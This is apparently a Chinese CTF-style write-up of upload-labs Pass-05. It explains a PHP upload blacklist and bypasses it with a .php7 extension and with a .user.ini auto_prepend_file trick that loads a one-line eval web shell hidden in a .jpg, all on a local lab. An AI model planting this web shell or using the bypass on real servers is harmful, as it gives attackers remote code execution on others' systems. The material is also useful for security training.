URL地址为:http://localhost/upload-labs/upload/5.jpg
上传5.php 探针时!提示:此文件类型不允许上传!!!
这里我们把5.php改成5.PHP,试一下!!还是不行!
我摊牌了,我看别人说这题是大小写绕过!!!
看下提示:
我们这里查看一下这个文件有什么内容?这里要注意,是上传目录存在readme.php文件,不是Pass-05文件夹有这个文件!!!
http://localhost/upload-labs/upload/readme.php
回显结果是乱码!!!
修改完之后,是这样!
感觉被出题人给骗了!!!
后边你还发现!小丑竟是我自己!!!
我们查看一下源码吧!!
很多后缀都被过滤了,就连上题中的.htaccess都被过滤了!!
- 删除文件名末尾的点!
PHP strrchr() 函数:
strrchr() 函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。
- 获取文件后缀名!!!
- 转换为小写!
str_ireplace() 函数替换字符串中的一些字符(不区分大小写)。
把字符串 “Hello world!” 中的字符 “WORLD”(不区分大小写)替换成 “Shanghai”:
<?php echo str_ireplace(“WORLD”,”Shanghai”,”Hello world!”); ?>
- 把后缀名中的::$DATA修改为空!
- 把后缀名的首尾去空!!!!
从大佬的WP中可以看到:没有被限制的文件名有 .php7 以及 .ini!!!
小知识:
php.ini 是 php的配置文件,.user.ini 中的字段也会被 php 视为配置文件来处理,从而导致 php 的文件解析漏洞。但是想要引发 .user.ini 解析漏洞需要三个前提条件!!!
服务器脚本语言为PHP 满足服务器使用CGI/FastCGI模式 满足上传目录下要有可执行的php文件 满足(readme.php)
绕过方法1:
PHP7绕过!!!
http://localhost/upload-labs/upload/5.PHP7
这里其实就读不出来!!!
因为APACHE的配置文件,需要修改!!!
修改httpd.conf:
完事后,重启所有服务!!!!接着上传,访问,查看回显!!
http://localhost/upload-labs/upload/5.php7
本人感觉这种方法,非常鸡肋!!!
绕过方法2:也就是本题的提示信息对应的部分!!!
首先上传.user.ini文件,文件内容为:
auto_prepend_file=5.jpg
http://localhost/upload-labs/upload/.user.ini
5.jpg内容为
<?php @eval($_REQUEST[zhifei]);?>
http://localhost/upload-labs/upload/5.jpg
然后等待五分钟,访问相关链接!!!
如果等不了五分钟,
1.可以直接重启phpstudy,让上传的.user.ini立即生效。
2.或者 可以修改php.ini,将user_ini.cache_ttl修改为10秒,修改后保存php.ini文件并重启phpstudy,之后再进行上面的操作即可。
http://localhost/upload-labs/upload/readme.php?zhifei=phpinfo();
我当前的环境是 PHP 加 APACHE,无法显示PHP探针
我通过PHPMYSTUDY将环境修改为PHP 5.3加NGINX
访问以上链接就可以正常显示探针!!!
还没找到方法
感谢大佬:
https://www.jianshu.com/p/55a50c4bf576
https://www.cnblogs.com/caizhiren/p/7912286.html
来源:freebuf.com 2021-07-19 08:28:51 by: 知非知非知非
请登录后发表评论
注册